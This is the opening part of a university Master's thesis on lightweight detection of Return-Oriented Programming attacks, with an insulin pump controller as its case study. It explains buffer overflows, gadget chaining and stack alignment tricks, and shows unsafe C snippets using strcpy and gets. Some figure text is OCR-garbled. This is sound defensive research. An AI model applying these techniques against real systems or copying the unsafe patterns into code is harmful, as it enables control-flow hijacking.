A Dual-Model Detection Framework
Based on Address Validation and
Boolean Control Flow

- Runtime Software Attacks -

Master Thesis
Franck Alex Olivier Molou & Casper Remer Halling Larsen

Aalborg University
Electronics and IT






AALBORG UNIVERSITY
STUDENT REPORT

Title:
A Dual-Model Detection Framework Based on
Address Validation and Boolean Control Flow

Theme:
Runtime Software Attacks

Project Period:
Spring Semester 2025

Participant(s):

Franck Alex O. Molou
Casper Romer Hallling Larsen

Supervisor(s):
Edlira Dushku

Page Numbers:

Date of Completion:
June 3, 2025

Electronics and IT
Aalborg University
https://www.aau.dk

Abstract:

Runtime software attacks pose a significant
threat to embedded and IoT systems, partic-
ularly in safety-critical domains such as medi-
cal devices. Unlike traditional malware, these
attacks hijack control flow without injecting
new code, using techniques such as Return-
Oriented Programming (ROP). This thesis ex-
plores both offensive and defensive aspects
of runtime attacks through a vulnerable in-
sulin pump controller as a real-world proof-
of-concept.

We first construct a functional ROP exploit
on a standalone binary to demonstrate how
attackers can bypass authentication and trig-
ger unauthorized system calls using chained
instruction-level gadgets. Building on this,
we propose two lightweight runtime detection
techniques for resource-constrained environ-
ments.

The first method, Address-based ROP Detec-
tion (ARD), validates return addresses at run-
time against a static whitelist of legitimate
control-flow targets. The second method intro-
duces a Boolean State Validator (BSVD) model
that encodes program logic into Boolean state
transitions, enabling semantic anomaly detec-
tion.

Both techniques are implemented and eval-
uated using dynamic binary instrumentation
(Intel PIN) and static analysis (Ghidra, angr).
Results show reliable control-flow hijack de-
tection with minimal overhead, without re-
quiring source code or hardware changes.
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List of Acronyms

Acronym | Definition

ROP Return-Oriented Programming
Jop Jump-Oriented Programming
COP Call-Oriented Programming
JIT Just-In-Time

RET Ret instruction

VM Virtual Machine

PoC Proof of Concept

PAC Pointer Authentication Codes
IoT Internet of Things

CFG Control Flow Graph

ARD Address-Based ROP Detection

BSVD Boolean State Validation Detection

B-CFG Boolean Control Flow Graph

DEP Data Execution Prevention

ASLR Address Space Layout Randomization

Cru Central Processing Unit

ALU Arithmetic-Logic Unit

SIMD Single Instruction Multiple Data
NX Non-Executable Memory

Table 1: List of Acronyms Used Throughout the Thesis
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Chapter 1

Introduction

In the modern computing landscape, software is the backbone of digital infrastructure, but
it is also a primary attack surface. Among the most insidious forms of threats are runtime
software attacks, which manipulate program execution without injecting new code. Unlike
traditional malware that drops executable payloads, runtime attacks work by hijacking
the control flow of running programs through vulnerabilities like buffer overflows, use-
after-free conditions, and memory disclosure. These exploits are especially difficult to
detect, as they operate entirely within the bounds of existing executable memory and
valid instructions.

A classic example is the Heartbleed vulnerability [2], which exploited a simple bound
check error in the OpenSSL library to leak sensitive data from memory. Other advanced
techniques, such as Return-Oriented Programming (ROP), chain together benign instruc-
tion sequences (called gadgets) already present in the binary to perform arbitrary com-
putations. Such attacks bypass common defenses like Data Execution Prevention (DEP)
and Address Space Layout Randomization (ASLR), posing severe challenges to traditional
security mechanisms.

Runtime attacks are not limited to desktop or server environments — they pose a partic-
ular threat to embedded and IoT devices, such as medical controllers, which often lack
advanced memory protection features. These resource-constrained systems are vulnerable
due to hardcoded credentials, unsafe coding practices, and limited runtime verification.
In safety-critical systems such as insulin pumps, the impact of a successful runtime attack
can be catastrophic, affecting not just data confidentiality but also patient health.



1.1. Problem Statement 2

1.1 Problem Statement

Despite extensive academic and industry efforts, detecting runtime software attacks in
a reliable and low-overhead manner remains an open challenge. Existing approaches
like Control-Flow Integrity and Control-Flow Attestation either impose significant per-
formance overhead or require hardware support not universally available in IoT systems.

This thesis investigates the feasibility of detecting runtime attacks through lightweight
control-flow tracing, focusing on low-level, execution-time anomalies that can reveal ma-
licious behavior without relying on deep symbolic reasoning or source code access. To
evaluate this, a realistic and vulnerable target system — a simulated insulin pump - is con-
structed. A custom-made ROP exploit demonstrates how control flow can be hijacked to
bypass privilege checks and invoke unauthorized actions.

Subsequently, the thesis introduces two original detection mechanisms:

Address-based ROP Detection (ARD) — a monitor that validates RET instructions
against statically extracted control-flow whitelists.

Boolean State Validation Detection (BSVD) — a novel Boolean control-flow graph
abstraction that enables semantic enforcement of high-level program logic.

1.1.1 Research Areas

This thesis investigates three interrelated areas within the domain of runtime security
for embedded systems. First, it examines how runtime software attacks are capable of
subverting a program’s control flow without injecting new code. This includes an analysis
of techniques such as ROP and other code reuse strategies that rely on chaining existing
instructions.

Second, the thesis explores the feasibility of designing and implementing a lightweight
ROP detection mechanism. The proposed solution combines binary instrumentation with
static analysis, aiming to provide practical runtime protection without imposing excessive
overhead on resource-constrained systems.

Third, the effectiveness and efficiency of the proposed approach are evaluated. This in-
cludes measuring performance impact and analyzing detection accuracy in realistic em-
bedded environments, where both computational resources and reliability requirements
pose significant constraints.

Based on these areas, the research is guided by the following three questions:

1. How do runtime software attacks subvert control flow without injecting new code?

2. Can a practical, lightweight ROP detection system be implemented using binary
instrumentation and static analysis?
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3. What is the performance impact and detection effectiveness of the proposed ap-
proaches in real-world embedded contexts?

1.2 Thesis Outline

This thesis is structured to provide a practical and technical investigation of runtime soft-
ware attacks and their mitigation in embedded systems. Chapter 2 introduces essential
background concepts such as memory layout, control-flow, and ROP techniques, while
Chapter 3 reviews related work on control-flow hijacking and lightweight defenses. Chap-
ters 4 and 5 cover the experimental setup and architectural design of our detection frame-
work, including the use of static CFGs and Boolean modeling. Chapter 6 presents the
implementation of a ROP exploit and two detection systems: Address-Based ROP De-
tection (ARD) and Boolean State Validation Detection (BSVD). Chapter 7 evaluates these
techniques in terms of accuracy and performance overhead. Chapter 8 concludes the the-
sis with key findings, while Chapter 9 outlines future directions for extending the work.
Chapter 10 contains appendices with supplementary implementation artifacts and scripts.



Chapter 2

Background

2.1 Introduction to Low-Level Computing

At their core, all computer programs, regardless of whether they are written in Python, C,
or any other high-level language, must eventually be translated into machine instructions
executed directly by the CPU. This translation process involves one or more intermedi-
ate stages, often producing assembly code, a low-level human-readable representation of
machine instructions. The assembly language defines a link between source code and
hardware behavior, exposing how instructions manipulate registers, memory, and control
flow.

2.2 Computer Architecture

Modern processors still follow the classical fetch-decode-execute loop, yet the microarchi-
tecture details are far from simple. Each core contains an Arithmetic-Logic Unit (ALU) for
integer math, specialized floating-point and Single Instruction Multiple Data (SIMD) units,
and a control engine that breaks complex instructions into smaller micro-operations. Deep
pipelines and out-of-order execution keep these units busy by speculatively scheduling
instructions; the same speculation famously underpins side-channel weaknesses such as
Spectre and Meltdown.

Beneath the core, a hierarchical cache system (L1, L2, L3) hides main-memory latency,
while the paging subsystem translates virtual to physical addresses in 4 KB blocks, known
as memory pages. This granularity is significant because Address Space Layout Ran-
domization (ASLR) shifts memory regions by page-aligned offsets, reducing the effective
entropy of randomized addresses. As a result, attackers often exploit this predictability
to perform partial address overwrites or brute-force aligned base addresses during ASLR
bypass attempts.
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Finally, the x86-64 privilege model separates the kernel code in ring 0 from the user code in
ring 3. At its core, the x86-64 architecture defines four privilege levels, known as protection
rings. Ring 0 represents the most privileged level and is reserved for kernel- and system-
level code, while Ring 3 is used for user-space applications with limited access rights. A
successful privilege-escalation exploit pivots execution from Ring 3 into Ring 0, effectively
granting the attacker unrestricted control over the system by bypassing hardware-enforced
isolation.

2.3 CPU Registers and their role in exploits

2.3.1 General Register Purpose and Layout

CPU registers are small high-speed memory cells within the processor that temporarily
hold data, addresses, or control information. During execution, the CPU continuously
loads data from memory into registers to perform operations efficiently.

The most relevant registers for the scope of understanding runtime attacks are:

General-Purpose Registers (rax, rbx, rcx, etc.): Used for arithmetic, logic, and data-
transfer operations.

Instruction Pointer (RIP): Stores the memory address of the next instruction to be
executed. Manipulation of RIP directly (e.g., via a return address overwrite) is a core
objective in most control-flow hijacking attacks.

Stack Pointer (RSP): Points to the top of the stack, used to manage function calls
and returns. Attackers often pivot or manipulate RSP to divert execution to attacker-
controlled data.

Base Pointer (RBP): Helps manage the current stack frame, often used to locate local
variables relative to the frame.

2.3.2 Register Semantics in Runtime Attacks

Registers exist because even the fastest cache line costs several cycles to fetch, whereas data
already sitting in a register can be consumed in the very next pipeline stage. On x86-64 the
sixteen general-purpose registers (e.g., RAX, RBX), two dedicated stack/frame pointers (RSP,
RBP), and the instruction pointer (RIP) are the usual protagonists in low-level exploits. Vec-
tor registers (XMMO-31, YMM, ZMM) power SIMD instructions and, by requiring 16-byte align-
ment, quietly motivate the stack alignment constraints discussed later. Gadgets such as
pop RDI ; ret load attacker-supplied values into these registers, so understanding what
each one implicitly means for the ABI is a key element in building a viable ROP chain.

Refer to for ABI documentation.

On x86-64 systems, the System-V AMD64 calling convention specifies that the first six
function arguments are passed through registers in a specific order: rdi, rsi, rdx, rcx,
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r8, and r9. This convention becomes crucial when constructing ROP chains intended to
call system functions (such as execve or system). To do so successfully, attackers must
use gadgets such as pop rdi ; ret to place controlled values in these argument registers
before triggering a function call. Thus, a deep understanding of register roles in the calling
convention is essential to craft viable and reliable syscall-style payloads.

2.4 Memory and Addresses (Pointers)

Memory in modern computers is modeled as a linear array of storage locations, each with a
unique address. Programs manipulate data through these memory addresses, with point-
ers acting as variables specifically designed to store them. In high-level programming,
pointers are mainly used for dynamic memory management and for interaction with data
structures like linked lists or trees. However, at a low level, pointers are the mechanism by
which functions, variables, and even executable instructions are located and accessed.

For attackers, pointers represent a crucial target: By manipulating pointers, they can redi-
rect the control flow of a program to unintended memory regions (such as injected shell-
code or ROP chains). The following simple C snippet shows how a pointer references the
memory location of a variable:

int number = 5; int *pointer = &number;

In exploitation, this same principle is abused to overwrite pointers (e.g., function pointers,
return addresses) to control where the CPU will execute next.

2.5 The Stack and Stack Frames

The stack is a structured memory region designed to support function calls and local
variable storage. It follows a Last-In-First-Out (LIFO) discipline where data is "pushed"
onto the stack when a function is called and "popped" off when it returns.

Each function call generates a stack frame containing:

Local variables,
Saved base pointer (RBP) of the previous frame,
The return address, where execution resumes after the function finishes.

An attacker exploiting a stack-based vulnerability (e.g., Buffer Overflow [2.9) aims to over-
write data in the current frame, particularly the return address, which will eventually be
popped into RIP, directing execution elsewhere.
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2.6 Stack Alignment on x86-64 Systems

On the x86-64 architecture, the ABI specifies that the stack must be 16-byte aligned before
invoking functions like system() or standard library calls. Misaligned stacks can cause
crashes or unpredictable behavior, as many system instructions assume proper alignment
(e.g., SIMD instructions like movaps).

In real-world exploits, attackers often compensate for alignment issues by inserting "dummy"
ret gadgets into their ROP chains to adjust the RSP register, restoring the required 16-byte
alignment before transferring control to sensitive library functions.

Without maintaining proper alignment, the crafted payload might fail due to alignment
checks or segmentation faults.

2.7 Memory & Stack

A UNIX or Windows process presents a split personality: From the programmer’s per-
spective, it is a flat address space, but underneath it is divided into segments. Executable
instructions live in a read-only text segment; constants follow in rodata; global variables
occupy data and bss; dynamic allocations grow upward from the heap; and the call stack
grows downward from high addresses. Because every segment is mapped through page
tables, an attacker who can leak page-aligned addresses or spray entire pages can erode
Address-Space Layout Randomization.

The stack itself is managed by the RSP register. When entering a function, the compiler
usually pushes the old base pointer, sets RBP := RSP, and then subtracts the space for local
variables. Overwriting data inside that reserved window, say, by copying unchecked input
into a fixed-sized array, lays the groundwork for a classic stack-smash.

2.8 Vulnerabilities

Security-critical software flaws in native code fall into four broad families. Spatial memory-
safety bugs write or read past an object’s boundary, overrunning buffers, or indexing
arrays out of bounds. Temporal bugs misuse objects after their lifetime ends, leading to
use-after-free or double-free conditions. Type-safety violations reinterpret a representation
under the wrong signedness or structure, while pure logic errors omit or misorder essential
checks.

Consider a simple example:

char name[16];
strcpy(name, argv[1]); // length not checked
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If the attacker supplies more than fifteen bytes, the overrun first tramples on the saved base
pointer and then the return address, an almost textbook gateway to control-flow hijacking.

2.9 Buffer Overflow Vulnerabilities

A buffer overflow occurs when more data is written to a memory buffer than it can ac-
commodate. Since C and assembly do not inherently perform boundary checks on buffer
sizes, a poorly validated input can lead to adjacent memory regions being overwritten.

This becomes critical when the overflow affects sensitive data such as:

Return addresses,
Function pointers,
Local variables controlling program logic

The following example is a local buffer on the stack, where overflowing data can overwrite
the return address:

char buffer[10]; gets(buffer);
This is dangerous since the function "gets ()" allows for unlimited input size.

By providing crafted input, an attacker can overwrite the saved return address with the
location of injected shellcode or a "ROP chain".

2.10 Exploits

Turning a vulnerability into an exploit is an engineering process. First, the attacker needs
a trigger: a way to reach the buggy code path with data of their choosing. Next comes
corruption: overwriting or disclosing the right words in memory to gain influence over
execution. If the goal is code execution rather than mere data corruption, the attacker
must seize control flow, typically by replacing a return address or function pointer with an
attacker-selected destination such as injected shellcode, a libc function, or a crafted ROP
chain. A payload then executes: spawning a shell, escalating privileges, or exfiltrating
secrets. Finally, sophisticated intrusions install persistence or wipe forensic traces, though
that last step lies outside the scope of most academic proof-of-concepts.

Classic payload styles include direct code injection (effective on systems without DE-
P/NX), return-to-libc calls that reuse trusted code, gadget-chaining techniques such as
ROP and JOP that bypass nonexecutable memory, and pure data-only attacks that flip
security-critical flags while leaving control flow intact.



2.11. Return-Oriented Programming (ROP) 9

211 Return-Oriented Programming (ROP)

"ROP" is a post-buffer overflow exploitation technique that bypasses memory protections
such as non-executable stacks (DEP/NX). Instead of injecting new executable code, the
attacker reuses ("recycles") existing executable code fragments, called gadgets, within the
target binary or its libraries.

Each gadget is a short instruction sequence (for example, pop rdi; ret) that ends with a
ret instruction, causing the control to return to the next gadget on the stack. By chaining
these gadgets, an attacker can construct arbitrary computation ("Turing-complete” pay-
loads), ultimately leading to actions such as spawning a shell or disabling security mech-
anisms.

Figure [3.1| illustrates a classic (ROP) attack. In This attack, each gadget ends with a RET
instruction, allowing the attacker to link them through crafted return addresses on the
stack.

(higher addresses) (lower addresses)

step 3 :
step 2] retaddress A £.3] gadgetA:
----- %esp mov %esp, %eax
ret
step 1 H
step 5 V
ret address D gadget B:
pop %eax
ret
step 4 v
data gadg;t (0F
pop %esp
ret address C fet
(call index) v
i ret address B gadget D:
~-» %esp Icall %gs:0x10(,0)
ret
stack/heap

segment code segment

(lower addresses) (higher addresses)

Figure 2.1: An example of a Return-Oriented Programming (ROP) attack. Adapted from [11]

Step 1: The attacker places a sequence of gadget return addresses onto the stack
(e.g., RET address B, RET address C, etc.), effectively creating a malicious execution
path.

Step 2: Through an exploit (e.g. buffer overflow), the stack pointer %esp is redirected
to the point at the start of this designed ROP chain.

Step 3: The program executes a ret instruction that fetches the first gadget address
from the stack and transfers control to gadget A.

Step 4: Gadget A runs a benign instruction (e.g., mov %esp, %eax) and ends with a
RET, which pops the next address from the stack.
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Step 5: The process continues with gadgets B, C, and D. Each gadget performs
a simple operation and returns, causing execution to flow through the attacker’s
desired path without injecting new code.

2.12 Control-Flow Graphs (CFG)

"CFG" represents the spatial structure of a program’s machine code. It is a directed graph
G = (V,E), where each vertex corresponds to a "basic block", a maximal sequence of
instructions that is entered only at the beginning and exited only at the end. The edges in
the graph represent possible control flow transitions between basic blocks.

end-if |«

Y

Y

end-if

Figure 2.2: Control Flow Graph (CFG) representing conditional logic. Adapted from [9].

Figure 2.2/ shows a CFG, a directed graph that is used to represent the flow of control in a
program. Each node in the graph denotes a basic block (a straight-line code sequence with-
out branches), and the edges represent possible control flow paths based on conditional
decisions.

The graph starts with a decision node that checks if A = 10.
If false, the control flows to a nested condition that checks if B > C.
Based on the result, one of two assignments is executed:
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If B > C, then A = B.

Else, A = C.
After executing either assignment, control converges at an end-if node and contin-
ues to the final end-if node.

If the first condition (A = 10) was true, the control loops back without entering the
nested decision structure.

Construction and granularity. Compilers build a CFG during the very first stages of op-
timization. Straight-line sequences become nodes; conditional jumps, indirect branches,
and call/return pairs become edges. For dynamic analyses, the graph is refined at run-
time by instrumenting branch targets, turning theoretical possibilities into observed paths,
an important distinction when an exploit relies on rarely executed error handling code.

Static reachability, dominators, and loops. Static data-flow frameworks treat the CFG
as the carrier of information for liveness, alias analysis, and, in our security context, taint
propagation. Dominators identify blocks that must be traversed before reaching a given
node, making them natural choke points for mitigations, such as stack canaries. Back-
edges mark natural loops and therefore potential iteration counts: if a buffer write sits
inside such a loop, the maximum overflow length may depend on the loop bound.

CFG in exploitation. Attackers exploit two CFG-centred observations. First, if they can
redirect RIP to any instruction that ends a basic block with a direct ret, they effectively
move along an existing edge, blending with legitimate control flow, a principle at the
heart of ROP. Second, coarse-grained Control-Flow Integrity approximates the legal CFG
too conservatively; edges that cannot occur in the compiled program are left in place,
providing the attacker with “shadow” transitions that can still be reached under runtime
corruption.

From graphs to mitigations. Fine-grained Control-Flow Inegrity tightens the legal edge set
to the exact CFG emitted by the compiler, raising the bar for gadget chaining. Hardware
vendors experiment with enforcing this policy at the instruction decode stage (control flow
enforcement technology, ARM branch target identification), showing that the concept of
CFG spans software, microarchitecture, and formal verification alike.

2.13 Boolean Networks

Where CFG captures the spatial structure of machine code, Boolean networks are discrete
dynamical systems that model the evolution of binary-valued systems over time, where
each component (or node) updates its state according to a Boolean function of other com-
ponents. These models, originating in circuit theory and biology, are increasingly applied
to security-critical system behaviors
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global state at time t is a vector x(t) = (x1(¢),...,x,(t)) € {0,1}". Each component x;
represents a binary variable, typically corresponding to a logic signal in a digital circuit or
the activity state of a gene. Its value is updated according to a Boolean function:

xi(t—i— 1) = fi(le(t),. ..,x]‘ki(t)), fz : {0,1}ki — {0,1}

Synchronous versus asynchronous evolution. In a synchronous discipline, every node
evaluates its update function against the same snapshot x(f), reproducing the behavior of
a clocked sequential circuit. In an asynchronous discipline only a subset of nodes, often
exactly one chosen non-deterministically-updates per step, giving rise to a richer state
transition graph that models biological timing noise and hardware glitches.

Attractors and safety properties. Because the state space is finite, iterating the global
update map F : {0,1}" — {0,1}" eventually enters a cycle. Fixed points correspond
to stable operating modes (e.g. “CPU idle”, “gene off”), whereas longer cycles model
oscillators or multiphase control logic. From a security perspective, proving that no input
can steer the network into an unsafe attractor is tantamount to proving that a hardware
pipeline cannot leak data after a speculative misprediction.

A minimal worked example. Consider the three-node network

x1(t+1) = —x3(t),
x(t+1) =x1(t) A x3(t),
X3(t + 1) = XQ(i').

Clocked synchronously and starting from (0,0,0), the trajectory is (0,0,0) — (1,0,0) —
(1,0,0), hitting the fixed point (1,0,0) in two steps. Re-running the same logic asyn-
chronously may reveal extra paths and even new attractors, illustrating how update disci-
pline affects reachability analysis.

Why include Boolean networks in a low-level thesis? Modern side-channel and specu-
lative execution defenses are increasingly verified with formal Boolean-level models. Ex-
pressing pipeline stages, hazard detectors, and privilege checks as a Boolean network
provides a language in which information-flow security reduces to a reachability query,
which is conceptually identical to proving the absence of an unsafe attractor.

Boolean networks offer a formalism well suited for verifying information-flow properties
and control invariants in low-level systems. For example, modern speculative execution
defenses and hardware privilege checks are increasingly modeled using Boolean-level ab-
stractions. By framing a control-flow violation or security breach as a reachability query in
a Boolean state space, these models provide a rigorous basis for detecting and preventing
runtime misbehavior.



Chapter 3

Literature Review

Securing modern computing systems against runtime attacks has become increasingly crit-
ical as cyber threats evolve. Prominent runtime attack techniques include ROP, JOP, and
Call-Oriented Programming (COP), which fall under the category of code-reuse attacks.
These methods enable attackers to chain existing instruction sequences to perform mali-
cious operations without introducing new code.

Research has extensively analyzed runtime attacks and proposed numerous countermea-
sures. However, memory corruption vulnerabilities such as buffer overflows and use-after-
free exploits remain widely abused. Defenses range from software-based mechanisms to
hardware-assisted solutions, but practical deployment remains a challenge.

This literature review explores state-of-the-art research on runtime attacks and defenses,
organized thematically rather than by individual studies. Key focus areas include

Control-Flow Hijacking Attacks
Memory Corruption Vulnerabilities
Control-Flow Integrity and Attestation
ROP Techniques

Runtime Security in IoT Devices
Limitations and Open Challenges

This thematic approach offers a coherent understanding of attack methodologies, defense
mechanisms, and remaining gaps in runtime security. The next section examines control-
flow hijacking techniques and their impact on software security.

13
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3.1 Control-Flow Hijacking Attacks

Control-flow hijacking is a critical category of runtime attacks that allows adversaries to
manipulate the execution flow of a program without injecting new code. By exploiting
memory corruption vulnerabilities, attackers can redirect execution to unintended instruc-
tion sequences, effectively bypassing security mechanisms. Over the years, these attacks
have evolved, becoming more sophisticated and resistant to traditional defenses.

3.1.1 Evolution of Control-Flow Hijacking

Initially, attackers relied on direct code injection techniques, inserting malicious code into
writable memory regions. However, the introduction of DEP rendered this approach in-
effective by marking memory pages as nonexecutable. This led to the rise of code-reuse
attacks, in which adversaries exploit existing executable code to perform malicious actions.

One of the most prevalent code-reuse techniques is ROP, in which attackers bundle short
instruction sequences that end in a return instruction [3]. As illustrated in
ROP attacks pivot execution flow by chaining gadgets to construct an arbitrary execution
sequence. As mentioned earlier, ROP allows adversaries to execute arbitrary computations
without injecting new code, effectively circumventing DEP. Attackers locate useful gadgets
in shared libraries or executables and construct sequences that perform operations such as
stack pivoting, function pointer overwriting, and privilege escalation.

@ Stack
Adversary
sP—» l
@ 4 Return Address 3
: Return Address 2
@ »sp—i Return Address 1 —
Heap Vulnerability

Heap

Code (Executable)

@ Libraries
ADD Gadget RET

LOAD Gadget RET

STORE Gadget | RET |

Stack Pivot RET

®
®
®

Program Memory

Figure 3.1: Illustration of a ROP attack chaining.

In this figure, the adversary exploits a heap vulnerability (step 1-2) to pivot the stack
pointer (SP) to a malicious ROP chain prepared in memory (step 3—4). This chain contains
return addresses pointing to instruction sequences, or gadgets, located in shared libraries
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(steps 5-7). Each gadget performs a specific operation and ends with a ret instruction,
allowing the attacker to execute arbitrary logic without injecting new code. This technique
effectively bypasses non-executable memory protections such as Data Execution Preven-
tion.

To counteract ROP, defenses such as shadow stacks and return address validation were
introduced. However, attackers adapted by developing JOP and COP, which avoid reliance
on return instructions and instead manipulate indirect jumps and function calls to hijack
execution flow [10].

3.1.2 Memory Disclosure and Just-In-Time Attacks

A crucial enabler of modern control-flow hijacking is memory disclosure vulnerabilities.
These vulnerabilities allow attackers to leak runtime memory layouts, bypassing ASLR.
By leveraging memory leaks, attackers can locate executable regions of memory, making
ASLR ineffective in preventing exploitation.

A particularly advanced variant of ROP is Just-In-Time Return-Oriented Programming
(JIT-ROP), where attackers dynamically construct ROP chains at runtime based on leaked
memory addresses [13]. JIT-ROP differs from traditional ROP in that:

Gadgets are discovered dynamically instead of being predefined.
Attackers use runtime analysis to find executable pages and create exploit chains.

JIT compilers, commonly found in web browsers and scripting environments, are
frequently targeted since they generate new executable memory at runtime.

illustrates the workflow of a JIT-ROP attack, demonstrating how attackers lever-
age memory disclosure vulnerabilities to dynamically generate gadget chains. This tech-
nique significantly reduces the effectiveness of ASLR, as gadgets are identified on-the-fly
rather than relying on predetermined memory locations. Attackers often pair JIT-ROP
with side-channel analysis to precisely map executable code regions and launch runtime
exploits.
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Figure 3.2: provides an overview of the JIT-ROP workflow, highlighting how attackers dynamically construct
gadget chains in real-time.

3.1.3 Defensive Mechanisms Against Control-Flow Hijacking

Several defensive mechanisms have been introduced to mitigate control-flow hijacking
attacks, each providing varying levels of protection, often with an associated performance
cost. One of the foundational defenses is DEP, which enforces non-executable memory
policies to prevent attackers from injecting and directly executing code in writable regions
such as the stack or heap. However, DEP is ineffective against code reuse attacks such as
ROP, JOP, and COP, where existing executable code within the program or linked libraries
is leveraged to bypass this restriction [4].

To complement DEP, systems also implement ASLR, which randomizes the placement of
executable code, libraries, and stack frames in memory to hinder an attacker’s ability to
predict code locations. Although ASLR has proven effective in many scenarios, it can
be circumvented by memory disclosure vulnerabilities, such as heap spraying or relative
memory leaks, which reveal enough of the randomized memory layout for the attacker to
mount a successful exploit [5].

Control-Flow Integrity introduces a more systematic defense by restricting the program’s
control flow to a predefined graph determined at compile time. This helps prevent attack-
ers from executing arbitrary control-flow transfers. However, while fine-grained Control-
Flow Integrity can substantially reduce the attack surface, many implementations in the
real world are coarse-grained, making them susceptible to control-flow bending attacks,
where an attacker stays within the allowed control-flow graph but executes logic in an
unintended and malicious way [12].

In addition, Execute-Only Memory (XOM) has emerged as a mitigation strategy that pre-
vents the reading of executable code sections by user-space processes. By making code
memory unreadable, XOM reduces the effectiveness of information disclosure attacks,
which are often used to find ROP gadgets or function addresses. However, XOM requires
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substantial hardware and compiler support to be fully effective, limiting its deployment in
some environments [13].

Finally, newer architectures, such as ARMv8.3 +, have adopted pointer authentication
(PAC). PAC leverages cryptographic signatures (PAC codes) to protect control-flow ele-
ments such as function pointers and return addresses from unauthorized modifications.
By validating these signatures before use, PAC significantly increases the difficulty of suc-
cessfully executing traditional ROP and JOP attacks on supported hardware platforms
[14].

Despite advances in defensive techniques, control flow hijacking remains a key research
challenge due to evolving attack methodologies. Attackers continuously refine their ex-
ploitation strategies, leading to an ongoing arms race between security researchers and
adversaries. The next section will discuss memory corruption vulnerabilities, which are
the basis for many runtime attacks.

3.2 Memory Corruption Vulnerabilities

Memory corruption vulnerabilities form the foundation for many control-flow hijacking
attacks, allowing attackers to manipulate program execution by exploiting unsafe mem-
ory operations. These vulnerabilities are particularly prevalent in low-level programming
languages such as C and C++, which lack built-in memory security mechanisms. Exploit-
ing memory corruption often leads to arbitrary code execution, privilege escalation, or
unauthorized access to sensitive data [12].

3.21 Common Types of Memory Corruption

Several types of memory corruption vulnerabilities — most notably buffer overflows — have
been extensively studied in the context of runtime attacks and control-flow hijacking. In
stack-based buffer overflows, attackers can overwrite critical data such as return addresses,
control data, and function pointers to redirect the program’s execution flow [13]. Closely
related are Heap-based Overflows, which target dynamically allocated memory on the
heap. These vulnerabilities enable attackers to corrupt the metadata structures used by
memory allocators, facilitating the execution of arbitrary code through techniques such as
heap exploitation [13].

Another prevalent vulnerability is the use-after-free (UAF), which arises when a program
accesses memory after it has already been deallocated. Attackers can exploit this by re-
claiming the freed memory block and injecting malicious payloads, leading to unautho-
rized control-flow transfers [14].Format string vulnerabilities are another class of flaws
that occur when user-controlled input is unsafely passed to formatted output functions
such as printf (). These vulnerabilities allow attackers to read or write arbitrary memory
addresses, posing significant security risks [22].
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Finally, Integer Overflows and underflows occur when arithmetic operations exceed or fall
below the storage capacity of a variable, often resulting in incorrect memory allocations or
faulty pointer arithmetic. These conditions can be exploited to trigger buffer overflows or
to bypass bounds checks within the program [22]]. Each of these vulnerabilities provides
an entry point for attackers to apply advanced exploitation techniques such as ROP, JOP,
or heap spraying to hijack the program control flow.

3.2.2 Exploitation Techniques

Memory corruption vulnerabilities are exploited through a variety of techniques to gain
control over the execution flow of a program. One of the most well-known techniques
is stack-based buffer overflow, where attackers overwrite return addresses stored on the
stack to redirect execution to attacker-controlled code or existing executable code within
the program’s memory, such as ROP chains [23]]. In parallel, Heap exploitation targets the
dynamic memory region of a process by corrupting heap management structures, such as
malloc and free metadata, to overwrite adjacent memory or manipulate function pointers,
leading to the execution of arbitrary code [23].

Another prominent strategy is pointer subversion, where attackers hijack control flow by
modifying sensitive control-flow objects, including function pointers, virtual table entries
(vtables), or exception handlers. This technique is frequently used in modern exploits to
bypass mitigations such as Control-Flow Integrity, which aim to restrict indirect control
transfers [24]. Furthermore, heap spraying is often employed as a preparatory step, where
attackers fill large portions of the heap with predictable, attacker-controlled data. This
increases the probability that an overflow or a UAF condition will cause execution to land
within the sprayed region, facilitating exploitation [24].

These exploitation techniques have evolved alongside the development of defensive mech-
anisms. As mitigations such as DEP, ASLR, and Control-flow Integrity have become more
widespread, modern attackers frequently employ multistage exploits that combine mem-
ory disclosure, heap manipulation, and control flow hijacking to reliably achieve execution
control even in hardened environments.

3.2.3 Mitigation Strategies

To counteract memory corruption vulnerabilities, a range of mitigation strategies have
been proposed and widely deployed. One common technique is the use of stack canaries,
which are special guard values inserted between local variables and return addresses. If a
buffer overflow occurs, a corrupted canary value can be detected, preventing control-flow
redirection. However, canaries can be bypassed if an attacker can leak stack memory and
predict their value [25]].

In addition, defenses such as ASLR, DEP, and Control-Flow Integrity are widely used
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(see Section [section 3.5). Although these techniques provide baseline protection, they are
frequently circumvented through code reuse and memory disclosure attacks.

More recent solutions include Pointer Authentication Codes (PAC) and memory tagging,
which introduce hardware-assisted protections for pointers and memory integrity, partic-
ularly in ARM architectures. Finally, bounds checking and safe memory allocators such
as PartitionAlloc and Hardened Malloc help mitigate heap-based exploits by enforcing
stricter memory access policies [25]].

Despite these advancements, memory corruption remains a persistent security challenge
due to evolving exploitation strategies and limitations in defense scalability.

The following section will focus on Control-Flow Integrity and attestation as advanced
methods to further improve runtime security.

3.3 Control-Flow Integrity and Attestation

Control-Flow Integrity is a fundamental security mechanism designed to prevent control-
flow hijacking attacks by enforcing legitimate execution paths within a program. It ensures
that indirect control transfers follow predefined control-flow edges, significantly reducing
the effectiveness of ROP, JOP and COP attacks [22]. [Figure 3.3|visually represents different
control-flow attack vectors, categorizing various hijacking techniques.

Memaory layout of program Program Control-Flow
|® if X == Graph (CFG) impure DOP vulnerability

&@) ::z: 2:§: i ;E:?Z;g;?;eo ‘;‘ﬁ; control-flow vulnerability
() brogdcast(data) ﬁﬁ pure DOP vulnerability
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G while i ¢ z ---= path with branch taken
® stmt —=s control-flow attack path

@ return temperature

humidity: ..statements...
@) brogdcast: ..statements..

€@ attacker-injected code

Figure 3.3: visually represents different control-flow attack vectors, demonstrating how control and data
manipulation techniques can be exploited.

3.3.1 Principles of Control-Flow Integrity

The fundamental principle behind Control-Flow Integrity is the creation of a CFG during
compile time, which models all valid control-flow transfers within a program. At runtime,
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indirect control transfers, such as function pointer calls or returns, are checked against
the permitted edges in the CFG to detect and block unauthorized deviations from the
intended execution flow [22]. Control-Flow Integrity implementations generally fall into
two categories depending on the granularity of enforcement.

Coarse-grained Control-Flow Integrity enforces broader control-flow policies by permit-
ting larger sets of valid control-flow transfers. This approach reduces performance over-
head but leaves room for attacks such as control-flow bending, where adversaries stay
within the permitted control-flow graph but still execute unintended code paths [22]. In
contrast, fine-grained Control-Flow Integrity applies stricter constraints to each indirect
control transfer, significantly reducing the attack surface by allowing only narrowly de-
fined control-flow edges. However, this comes at the cost of higher computational over-
head and a more complex implementation [22].

